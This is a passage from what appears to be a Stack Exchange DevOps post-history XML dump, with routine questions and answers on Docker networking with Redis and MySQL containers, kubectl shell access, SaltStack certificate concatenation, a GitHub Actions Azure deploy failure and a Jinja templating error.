set foo bar&#xD;&#xA;    OK&#xD;&#xA;    127.0.0.1:6379&gt; &#xD;&#xA;    127.0.0.1:6379&gt; keys *&#xD;&#xA;    1) &quot;foo&quot;&#xD;&#xA;    127.0.0.1:6379&gt; &#xD;&#xA;    127.0.0.1:6379&gt; get foo&#xD;&#xA;    &quot;bar&quot;&#xD;&#xA;    127.0.0.1:6379&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;should work as persistence in a microservice architecture.  To my understanding.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker network ls&#xD;&#xA;    NETWORK ID          NAME                DRIVER              SCOPE&#xD;&#xA;    e57e2c862b19        bridge              bridge              local&#xD;&#xA;    25aba55a5413        host                host                local&#xD;&#xA;    ad5c1c2fa1e1        none                null                local&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker inspect rds | grep bridge&#xD;&#xA;                    &quot;bridge&quot;: {&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker network inspect bridge&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Name&quot;: &quot;bridge&quot;,&#xD;&#xA;            &quot;Id&quot;: &quot;e57e2c862b19e68b470adf5bbd4719b675c15a399e3bd01380a9d7ad35c7ea26&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2020-09-24T17:43:14.098411476-07:00&quot;,&#xD;&#xA;            &quot;Scope&quot;: &quot;local&quot;,&#xD;&#xA;            &quot;Driver&quot;: &quot;bridge&quot;,&#xD;&#xA;            &quot;EnableIPv6&quot;: false,&#xD;&#xA;            &quot;IPAM&quot;: {&#xD;&#xA;                &quot;Driver&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;Options&quot;: null,&#xD;&#xA;                &quot;Config&quot;: [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;Subnet&quot;: &quot;172.17.0.0/16&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;172.17.0.1&quot;&#xD;&#xA;                    }&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;Internal&quot;: false,&#xD;&#xA;            &quot;Attachable&quot;: false,&#xD;&#xA;            &quot;Ingress&quot;: false,&#xD;&#xA;            &quot;ConfigFrom&quot;: {&#xD;&#xA;                &quot;Network&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;ConfigOnly&quot;: false,&#xD;&#xA;            &quot;Containers&quot;: {&#xD;&#xA;                &quot;d85ce8736fc33f81edc7e63972391f6eb34586d562b4066f57395f9ea2bafe58&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;rds&quot;,&#xD;&#xA;                    &quot;EndpointID&quot;: &quot;b0afddd9a063d8051021db490342e6627bdf9694b8f526ad5bbd5a665eeafefd&quot;,&#xD;&#xA;                    &quot;MacAddress&quot;: &quot;02:42:ac:11:00:02&quot;,&#xD;&#xA;                    &quot;IPv4Address&quot;: &quot;172.17.0.2/16&quot;,&#xD;&#xA;                    &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;                }&#xD;&#xA;            },&#xD;&#xA;            &quot;Options&quot;: {&#xD;&#xA;                &quot;com.docker.network.bridge.default_bridge&quot;: &quot;true&quot;,&#xD;&#xA;                &quot;com.docker.network.bridge.enable_icc&quot;: &quot;true&quot;,&#xD;&#xA;                &quot;com.docker.network.bridge.enable_ip_masquerade&quot;: &quot;true&quot;,&#xD;&#xA;                &quot;com.docker.network.bridge.host_binding_ipv4&quot;: &quot;0.0.0.0&quot;,&#xD;&#xA;                &quot;com.docker.network.bridge.name&quot;: &quot;docker0&quot;,&#xD;&#xA;                &quot;com.docker.network.driver.mtu&quot;: &quot;1500&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Labels&quot;: {}&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So a `flask` container also on the bridge network should be able to access this container.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38393" PostHistoryTypeId="2" PostId="12505" RevisionGUID="a450c9f8-0dcf-4c05-a27b-e34f48b87a29" CreationDate="2020-09-26T02:37:45.747" UserId="19963" Text="A little more information is needed about specific operations you are doing, but generally your options are:&#xD;&#xA;&#xD;&#xA; 1. For one-time operations: use [kubectl exec][1] to get into containers and do commands (works similar to `docker exec`).&#xD;&#xA;&#xD;&#xA; 2. Also for one-time operations, spawn separate pods with shell access to interact with existing pods, something along the lines:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl run -it --rm --restart=Never --image busybox tempbusybox -- sh&#xD;&#xA;```&#xD;&#xA;3. For reproducible (not one-time) operations, you may use [kubernetes jobs][2].&#xD;&#xA;&#xD;&#xA;4. In some cases you may use [init containers][3] for setup tasks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/workloads/controllers/job/&#xD;&#xA;  [3]: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38395" PostHistoryTypeId="5" PostId="12501" RevisionGUID="b0787a5a-c0b7-4efd-8fc1-8ffc4411a8e1" CreationDate="2020-09-26T07:52:17.760" UserId="40" Comment="remove noise, fix formatting" Text="Though below code works fine individually:&#xD;&#xA;&#xD;&#xA;    extendedChoice description: '', multiSelectDelimiter: ',', name: 'Capablities', quoteValue: false, saveJSONParameterToFile: false, type: 'PT_CHECKBOX',value: 'Chrome_macos10_15, Chrome_win10', visibleItemCount: 30&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I need Chrome_macos10_15, Chrome_win10 need to be passed from external file.&#xD;&#xA;&#xD;&#xA;How can it be achieved?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38396" PostHistoryTypeId="2" PostId="12506" RevisionGUID="5fa37780-c588-45da-b8d9-8e770dea4287" CreationDate="2020-09-26T13:13:52.797" UserId="23212" Text="I've found out that it is a possible and fine approach. Prometheus support different methods of service discovery, this is explained in [the docs: Configuration](https://prometheus.io/docs/prometheus/latest/configuration/configuration/). As I understood the Loki way of work, it just uses Promtail which sends logs from services, so there is no need of service discovery. An example of Promtail installation [is here](https://grafana.com/blog/2020/07/13/loki-tutorial-how-to-set-up-promtail-on-aws-ec2-to-find-and-analyze-your-logs/). Also, more details can be found in the [doc: Promtail install](https://grafana.com/docs/loki/latest/clients/promtail/installation/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="38397" PostHistoryTypeId="33" PostId="12446" RevisionGUID="57d2ea6c-c8ac-4519-8be4-53916320bb91" CreationDate="2020-09-26T15:37:15.097" UserId="18302" Comment="62" />
  <row Id="38401" PostHistoryTypeId="50" PostId="9024" RevisionGUID="ec1da24b-53f1-45a3-b179-31eb39114eea" CreationDate="2020-09-26T20:07:40.753" UserId="-1" />
  <row Id="38402" PostHistoryTypeId="50" PostId="9103" RevisionGUID="7a6b9a10-d822-452c-8792-cb3b33e5009e" CreationDate="2020-09-26T22:01:15.143" UserId="-1" />
  <row Id="38403" PostHistoryTypeId="2" PostId="12508" RevisionGUID="0f7559c1-d8d5-4204-ac43-f2df87c6e3ab" CreationDate="2020-09-26T22:18:13.143" UserId="23443" Text="This seems not wholly unreasonable:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker network ls&#xD;&#xA;    NETWORK ID          NAME                DRIVER              SCOPE&#xD;&#xA;    e57e2c862b19        bridge              bridge              local&#xD;&#xA;    94f944a05b0e        foo                 bridge              local&#xD;&#xA;    25aba55a5413        host                host                local&#xD;&#xA;    ad5c1c2fa1e1        none                null                local&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name mysql --network foo  -tide  MYSQL_ROOT_PASSWORD=password mysql/mysql-server:latest&#xD;&#xA;    e85d7d980f88eac37f15760d2dc30ca6545214ba52e82dc24a1df8664a4de915&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run -itd --name alpine --network foo alpine&#xD;&#xA;    262b238272f756b90b9735f826234e34d4b05fcdb88416c15947ed3383281739&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -it alpine sh&#xD;&#xA;    / # &#xD;&#xA;    / # ping mysql&#xD;&#xA;    PING mysql (172.21.0.2): 56 data bytes&#xD;&#xA;    64 bytes from 172.21.0.2: seq=0 ttl=64 time=0.200 ms&#xD;&#xA;    64 bytes from 172.21.0.2: seq=1 ttl=64 time=0.115 ms&#xD;&#xA;    64 bytes from 172.21.0.2: seq=2 ttl=64 time=0.115 ms&#xD;&#xA;    ^C&#xD;&#xA;    --- mysql ping statistics ---&#xD;&#xA;    3 packets transmitted, 3 packets received, 0% packet loss&#xD;&#xA;    round-trip min/avg/max = 0.115/0.143/0.200 ms&#xD;&#xA;    / # &#xD;&#xA;    / # &#xD;&#xA;    / # mysql mysql -h mysql -P 3306 --protocol=tcp -u root -p&#xD;&#xA;    sh: mysql: not found&#xD;&#xA;    / # &#xD;&#xA;&#xD;&#xA;but, if `mysql` isn't recognized as a command, probably `alpine` is a bit too lightweight.  What would be a more reasonable image from the `docker` hub to grab?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38404" PostHistoryTypeId="1" PostId="12508" RevisionGUID="0f7559c1-d8d5-4204-ac43-f2df87c6e3ab" CreationDate="2020-09-26T22:18:13.143" UserId="23443" Text="The MySQL Command-Line Client on alpine or other minimalist image" ContentLicense="CC BY-SA 4.0" />
  <row Id="38405" PostHistoryTypeId="3" PostId="12508" RevisionGUID="0f7559c1-d8d5-4204-ac43-f2df87c6e3ab" CreationDate="2020-09-26T22:18:13.143" UserId="23443" Text="&lt;docker&gt;&lt;networking&gt;&lt;databases&gt;&lt;mysql&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38406" PostHistoryTypeId="5" PostId="12508" RevisionGUID="6b288e25-3572-41fb-b3be-65e5c90d7c6d" CreationDate="2020-09-26T22:24:54.220" UserId="23443" Comment="added 127 characters in body" Text="This seems not wholly unreasonable:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker network ls&#xD;&#xA;    NETWORK ID          NAME                DRIVER              SCOPE&#xD;&#xA;    e57e2c862b19        bridge              bridge              local&#xD;&#xA;    94f944a05b0e        foo                 bridge              local&#xD;&#xA;    25aba55a5413        host                host                local&#xD;&#xA;    ad5c1c2fa1e1        none                null                local&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name mysql --network foo  -tide  MYSQL_ROOT_PASSWORD=password mysql/mysql-server:latest&#xD;&#xA;    e85d7d980f88eac37f15760d2dc30ca6545214ba52e82dc24a1df8664a4de915&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run -itd --name alpine --network foo alpine&#xD;&#xA;    262b238272f756b90b9735f826234e34d4b05fcdb88416c15947ed3383281739&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -it alpine sh&#xD;&#xA;    / # &#xD;&#xA;    / # ping mysql&#xD;&#xA;    PING mysql (172.21.0.2): 56 data bytes&#xD;&#xA;    64 bytes from 172.21.0.2: seq=0 ttl=64 time=0.200 ms&#xD;&#xA;    64 bytes from 172.21.0.2: seq=1 ttl=64 time=0.115 ms&#xD;&#xA;    64 bytes from 172.21.0.2: seq=2 ttl=64 time=0.115 ms&#xD;&#xA;    ^C&#xD;&#xA;    --- mysql ping statistics ---&#xD;&#xA;    3 packets transmitted, 3 packets received, 0% packet loss&#xD;&#xA;    round-trip min/avg/max = 0.115/0.143/0.200 ms&#xD;&#xA;    / # &#xD;&#xA;    / # &#xD;&#xA;    / # mysql mysql -h mysql -P 3306 --protocol=tcp -u root -p&#xD;&#xA;    sh: mysql: not found&#xD;&#xA;    / # &#xD;&#xA;&#xD;&#xA;but, if `mysql` isn't recognized as a command, probably `alpine` is a bit too lightweight.  What would be a more reasonable image from the `docker` hub to grab for [connecting][1] to the `MySQL` container from another container?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/12494/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="38407" PostHistoryTypeId="4" PostId="12508" RevisionGUID="6b288e25-3572-41fb-b3be-65e5c90d7c6d" CreationDate="2020-09-26T22:24:54.220" UserId="23443" Comment="added 127 characters in body" Text="Is the MySQL Command-Line Client on alpine or another minimalist container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38408" PostHistoryTypeId="5" PostId="12508" RevisionGUID="9b779c0d-13ec-4dc9-852a-8c5f06083f39" CreationDate="2020-09-26T23:28:48.633" UserId="23443" Comment="added 1153 characters in body" Text="This seems not wholly unreasonable:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker network ls&#xD;&#xA;    NETWORK ID          NAME                DRIVER              SCOPE&#xD;&#xA;    e57e2c862b19        bridge              bridge              local&#xD;&#xA;    94f944a05b0e        foo                 bridge              local&#xD;&#xA;    25aba55a5413        host                host                local&#xD;&#xA;    ad5c1c2fa1e1        none                null                local&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name mysql --network foo  -tide  MYSQL_ROOT_PASSWORD=password mysql/mysql-server:latest&#xD;&#xA;    e85d7d980f88eac37f15760d2dc30ca6545214ba52e82dc24a1df8664a4de915&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run -itd --name alpine --network foo alpine&#xD;&#xA;    262b238272f756b90b9735f826234e34d4b05fcdb88416c15947ed3383281739&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -it alpine sh&#xD;&#xA;    / # &#xD;&#xA;    / # ping mysql&#xD;&#xA;    PING mysql (172.21.0.2): 56 data bytes&#xD;&#xA;    64 bytes from 172.21.0.2: seq=0 ttl=64 time=0.200 ms&#xD;&#xA;    64 bytes from 172.21.0.2: seq=1 ttl=64 time=0.115 ms&#xD;&#xA;    64 bytes from 172.21.0.2: seq=2 ttl=64 time=0.115 ms&#xD;&#xA;    ^C&#xD;&#xA;    --- mysql ping statistics ---&#xD;&#xA;    3 packets transmitted, 3 packets received, 0% packet loss&#xD;&#xA;    round-trip min/avg/max = 0.115/0.143/0.200 ms&#xD;&#xA;    / # &#xD;&#xA;    / # &#xD;&#xA;    / # mysql mysql -h mysql -P 3306 --protocol=tcp -u root -p&#xD;&#xA;    sh: mysql: not found&#xD;&#xA;    / # &#xD;&#xA;&#xD;&#xA;but, if `mysql` isn't recognized as a command, probably `alpine` is a bit too lightweight.  What would be a more reasonable image from the `docker` hub to grab for [connecting][1] to the `MySQL` container from another container?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I also tried:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name alice --network foo  -tide  MYSQL_ROOT_PASSWORD=password mysql/mysql-server:latest&#xD;&#xA;    4ebb217b18abe78d35a4cd08d253e45d089083776f86f52da77f04a8c97de01e&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name bob --network foo  -tide  MYSQL_ROOT_PASSWORD=password mysql/mysql-server:latest&#xD;&#xA;    856d398fe7ed472698127c8d4a07fce9aa50d48d79587bd731c973ee17e4dde9&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -it alice bash&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# hostname&#xD;&#xA;    bash: hostname: command not found&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# host&#xD;&#xA;    bash: host: command not found&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# whoami&#xD;&#xA;    root&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# ping bob&#xD;&#xA;    bash: ping: command not found&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# telnet bob&#xD;&#xA;    bash: telnet: command not found&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql mysql -h bob -P 3306 --protocol=tcp -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2003 (HY000): Can't connect to MySQL server on 'bob' (111)&#xD;&#xA;    bash-4.2# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I suppose I can use a more general purpose container and install the `MySQL` cli client, but would rather use a `docker` image from the hub.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/12494/23443&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38411" PostHistoryTypeId="2" PostId="12509" RevisionGUID="7fd9f99f-56e8-4fa0-81ec-5af7fd7cf1f2" CreationDate="2020-09-27T21:15:41.603" UserId="23443" Text="Perhaps I'm using `MySQL` in an unusual way.  I was thinking of just having `alice` and `bob` containers, where the console client is used on one to query the other.&#xD;&#xA;&#xD;&#xA;---------------------------------------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm probably using `MySQL` in an obscure way:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name alice_the_mysql_server  -tide  MYSQL_ROOT_PASSWORD=password mysql/mysql-server:latest&#xD;&#xA;    700ad84163e97b0e240d03f522b802ffb12067073f199ce409105baa2a030703&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name bob_the_mysql_client -v /home/nicholas/github/test_db/employees.sql:/sql --link alice_the_mysql_server:mysql -it arey/mysql-client -h mysql -p password -D employees -e &quot;source /home/nicholas/github/test_db/employees.sql&quot;&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2059 (HY000): Authentication plugin 'caching_sha2_password' cannot be loaded: Error loading shared library /usr/lib/mysql/plugin/caching_sha2_password.so: No such file or directory&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;does this relate to a missing library on the host system?  I don't see that it would (reasonably) be a missing file or directory on either container.  Perhaps I'm not spinning up the container properly?&#xD;&#xA;&#xD;&#xA;*I was also looking at the `MySQL` router, but that requires a running `innodb` which would be overly complicated for my use case.*&#xD;&#xA;&#xD;&#xA;Is this an unusual configuration or topology?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38412" PostHistoryTypeId="1" PostId="12509" RevisionGUID="7fd9f99f-56e8-4fa0-81ec-5af7fd7cf1f2" CreationDate="2020-09-27T21:15:41.603" UserId="23443" Text="Topology and configuration of MySQL client and server containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="38413" PostHistoryTypeId="3" PostId="12509" RevisionGUID="7fd9f99f-56e8-4fa0-81ec-5af7fd7cf1f2" CreationDate="2020-09-27T21:15:41.603" UserId="23443" Text="&lt;docker&gt;&lt;networking&gt;&lt;databases&gt;&lt;configuration&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38415" PostHistoryTypeId="2" PostId="12510" RevisionGUID="52f9b79b-d3e2-4277-a4ed-7b8e3103a8c8" CreationDate="2020-09-28T08:47:20.133" UserId="24111" Text="I would like to have to following a bit more clean, I'm trying to create concatenated CA file using Salt.&#xD;&#xA;To accomplish this I first have to collect all glusterfs.pem files from all my minions to the salt-master minions cache and then output all glusterfs.pem into a single CA file (glusterfs.ca) on the salt-master to later on enroll them again on all minions.&#xD;&#xA;Actually my solution is working but its simply out of the salt context and looks crappy to me. I'm new to salt, I never worked with reactors or so and I was hoping to find some help (preferably  with a example if possible) around here.&#xD;&#xA;&#xD;&#xA;This is my current situation only using states:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;glusterfs/init.sls (only runs on minions)&#xD;&#xA;&#xD;&#xA;    /etc/ssl/glusterfs.key:&#xD;&#xA;      x509.private_key_managed:&#xD;&#xA;        - order: 9&#xD;&#xA;        - bits: 2048&#xD;&#xA;        - name: /etc/ssl/glusterfs.key&#xD;&#xA;    &#xD;&#xA;    /etc/ssl/glusterfs.pem:&#xD;&#xA;      x509.certificate_managed:&#xD;&#xA;        - order: 10&#xD;&#xA;        - signing_private_key: /etc/ssl/glusterfs.key&#xD;&#xA;        - CN: {{ grains.id }}&#xD;&#xA;        - C: UA&#xD;&#xA;        - ST: Unavailable&#xD;&#xA;        - L: Unavailable&#xD;&#xA;        - basicConstraints: &quot;critical CA:true&quot;&#xD;&#xA;        - keyUsage: &quot;critical cRLSign, keyCertSign&quot;&#xD;&#xA;        - subjectKeyIdentifier: hash&#xD;&#xA;        - authorityKeyIdentifier: keyid,issuer:always&#xD;&#xA;        - days_valid: 3650&#xD;&#xA;        - days_remaining: 0&#xD;&#xA;    &#xD;&#xA;    /etc/ssl/glusterfs.ca:&#xD;&#xA;      file:&#xD;&#xA;        - order: 11&#xD;&#xA;        - managed&#xD;&#xA;        - source: salt://glusterfs/glusterfs.ca&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ca.sls (only runs on salt-master):&#xD;&#xA;&#xD;&#xA;    collect_glusterfs_certs:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - order: 1&#xD;&#xA;        - name: salt -C 'not salt' cp.push /etc/ssl/glusterfs.pem&#xD;&#xA;    &#xD;&#xA;    concatenation_glusterfs_certs:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - order: 2&#xD;&#xA;        - onlyif: 'test ! -e /var/cache/salt/master/minions/{master*,worker*}/files/etc/ssl/glusterfs.pem &amp;&amp; test ! -e /srv/salt/glusterfs/glusterfs.ca'&#xD;&#xA;        - name: 'cat /var/cache/salt/master/minions/*/files/etc/ssl/glusterfs.pem &gt; /srv/salt/glusterfs/glusterfs.ca'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So I basically first pull all glusterfs.pem to the local salt-master minion cache and afterwards create the concatenated glusterfs.ca file which I than later on deploy onto all minion I previously collected the glusterfs.pem file from ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="38416" PostHistoryTypeId="1" PostId="12510" RevisionGUID="52f9b79b-d3e2-4277-a4ed-7b8e3103a8c8" CreationDate="2020-09-28T08:47:20.133" UserId="24111" Text="Saltstack howto create a Concatenation CA?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38417" PostHistoryTypeId="3" PostId="12510" RevisionGUID="52f9b79b-d3e2-4277-a4ed-7b8e3103a8c8" CreationDate="2020-09-28T08:47:20.133" UserId="24111" Text="&lt;automation&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38418" PostHistoryTypeId="5" PostId="12429" RevisionGUID="4e0c2257-9e64-49fc-8db2-d1ad9ea37808" CreationDate="2020-09-28T10:25:27.670" UserId="23987" Comment="added 1 character in body" Text="Cancelling spot requests is good if you have created a 'persistent' spot instance. If you try terminating a spot instance in the EC2 console when its persistent a new spot instance will spin up in its place in a few minutes.&#xD;&#xA;&#xD;&#xA;However, if you cancel the spot request this will terminate the spot instance and also cancel any future rebuilds of this instance. So this means you will not have another instance spin up when the first spot is terminated. To cancel the spot request, go to the panel on the left 'spot requests' and here you will see all the ones you have created. Click one and you can find the instance ID.&#xD;&#xA;&#xD;&#xA;Yes, spot does save a lot of money compared to on-demand but this feature is a bit annoying as I didn't realise it for a while. So I was terminating instances but didn't realise new instances were spinning up in their place. Working on a lambda and cloudwatch event that will cancel the spot request once the instance is terminated" ContentLicense="CC BY-SA 4.0" />
  <row Id="38419" PostHistoryTypeId="2" PostId="12511" RevisionGUID="8f9679f8-3cc0-411f-8548-55ab54592c99" CreationDate="2020-09-28T15:29:47.090" UserId="6042" Text="I am trying to deploy an `Angular(10) WebApp` to Azure with CI/CD using the Github Actions but I get an error saying the `package.json` cannot be found while running the `npm install` command.&#xD;&#xA;&#xD;&#xA;This is my **yml** file&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;name: Deploy to Azure with Hexa.ru&#xD;&#xA;on:&#xD;&#xA;  push:&#xD;&#xA;    branches:&#xD;&#xA;    - main&#xD;&#xA;    - release/*&#xD;&#xA;&#xD;&#xA;jobs:&#xD;&#xA;  build:&#xD;&#xA;&#xD;&#xA;    runs-on: windows-latest&#xD;&#xA;&#xD;&#xA;    strategy:&#xD;&#xA;      matrix:&#xD;&#xA;        node-version: [12.x]&#xD;&#xA;&#xD;&#xA;    steps:&#xD;&#xA;    - uses: actions/checkout@v1&#xD;&#xA;    - name: Use Node.js ${{ matrix.node-version }}&#xD;&#xA;      uses: actions/setup-node@v1&#xD;&#xA;      with:&#xD;&#xA;        node-version: ${{ matrix.node-version }}&#xD;&#xA;    - name: npm install&#xD;&#xA;      run: |&#xD;&#xA;        npm --prefix D:\home\site\wwwroot\SleepDiary\package.json install&#xD;&#xA;    - name: npm build, and deploy&#xD;&#xA;      env:&#xD;&#xA;        AZURE_SERVICE_PRINCIPAL_ID: ${{ secrets.AZURE_SERVICE_PRINCIPAL_ID }}&#xD;&#xA;        AZURE_SERVICE_PRINCIPAL_PASSWORD: ${{ secrets.AZURE_SERVICE_PRINCIPAL_PASSWORD }}&#xD;&#xA;        AZURE_SERVICE_PRINCIPAL_TENANT: ${{ secrets.AZURE_SERVICE_PRINCIPAL_TENANT }}&#xD;&#xA;      run: |&#xD;&#xA;        npm run hexa:login&#xD;&#xA;        npm run build -- --prod&#xD;&#xA;        npm run hexa:deploy&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And the error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Run npm --prefix D:\home\site\wwwroot\SleepDiary\package.json install&#xD;&#xA;  npm --prefix D:\home\site\wwwroot\SleepDiary\package.json install&#xD;&#xA;  shell: C:\Program Files\PowerShell\7\pwsh.EXE -command &quot;. '{0}'&quot;&#xD;&#xA;npm ERR! code ENOLOCAL&#xD;&#xA;npm ERR! Could not install from &quot;&quot; as it does not contain a package.json file.&#xD;&#xA;&#xD;&#xA;npm ERR! A complete log of this run can be found in:&#xD;&#xA;npm ERR!     C:\npm\cache\_logs\2020-09-28T06_32_50_591Z-debug.log&#xD;&#xA;Error: Process completed with exit code 1.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I also tried without the parameter `--prefix` and the error remains (similar)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Run npm install&#xD;&#xA;  npm install&#xD;&#xA;  shell: C:\Program Files\PowerShell\7\pwsh.EXE -command &quot;. '{0}'&quot;&#xD;&#xA;npm WARN saveError ENOENT: no such file or directory, open 'D:\a\SleepDiary\SleepDiary\package.json'&#xD;&#xA;npm notice created a lockfile as package-lock.json. You should commit this file.&#xD;&#xA;npm WARN enoent ENOENT: no such file or directory, open 'D:\a\SleepDiary\SleepDiary\package.json'&#xD;&#xA;npm WARN SleepDiary No description&#xD;&#xA;npm WARN SleepDiary No repository field.&#xD;&#xA;npm WARN SleepDiary No README data&#xD;&#xA;npm WARN SleepDiary No license field.&#xD;&#xA;```&#xD;&#xA;I've checked the path in the azure console of my appservice and it should be&#xD;&#xA;`D:\home\site\wwwroot\SleepDiary` (you can ignore the `dist` folder, I created a kudu deployment that works just for testing but I want to achieve the same result with github actions)&#xD;&#xA; &#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Any idea how to make it run?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ywmWc.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38420" PostHistoryTypeId="1" PostId="12511" RevisionGUID="8f9679f8-3cc0-411f-8548-55ab54592c99" CreationDate="2020-09-28T15:29:47.090" UserId="6042" Text="Deploying angular app to Azure with Github Actions failed. package.json not found" ContentLicense="CC BY-SA 4.0" />
  <row Id="38421" PostHistoryTypeId="3" PostId="12511" RevisionGUID="8f9679f8-3cc0-411f-8548-55ab54592c99" CreationDate="2020-09-28T15:29:47.090" UserId="6042" Text="&lt;continuous-integration&gt;&lt;azure&gt;&lt;continuous-deployment&gt;&lt;github&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38422" PostHistoryTypeId="5" PostId="11679" RevisionGUID="1570c532-6fa6-44b6-a0dd-2912188390be" CreationDate="2020-09-28T16:17:43.950" UserId="23904" Comment="corrected code blocks" Text="I am using Salt 2019.2.0 version and below is my state file where I am using if condition to check the values and run states if it's a match. Even if I have provided endif, it says Jinja looking for missing endif tag. Any help please?&#xD;&#xA;&#xD;&#xA;**CODE**:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;{% if salt['pillar.get']('spade:Corename') == 'FI' and salt['pillar.get']('spade:NodeType') == 'master' %}&#xD;&#xA;dataimport-script:&#xD;&#xA;  file.managed:&#xD;&#xA;    - name: /opt/bin/DataImport.py&#xD;&#xA;    - source: salt://files/DataImport.py&#xD;&#xA;&#xD;&#xA;dataimport-crontab:&#xD;&#xA;  file.managed:&#xD;&#xA;    - name: /etc/cron.d/solr-dataimport&#xD;&#xA;    - contents: |&#xD;&#xA;                # # set up data import for FI every 2 minutes&#xD;&#xA;                */2 * * * * root /usr/bin/python /opt/bin/DataImport.py&#xD;&#xA;{% elif salt['pillar.get']('spade:NodeType') in ['slave','ds'] and salt['pillar.get']('spade:Corename') == 'FI' %}&#xD;&#xA;update-fi-solrconfig:&#xD;&#xA;  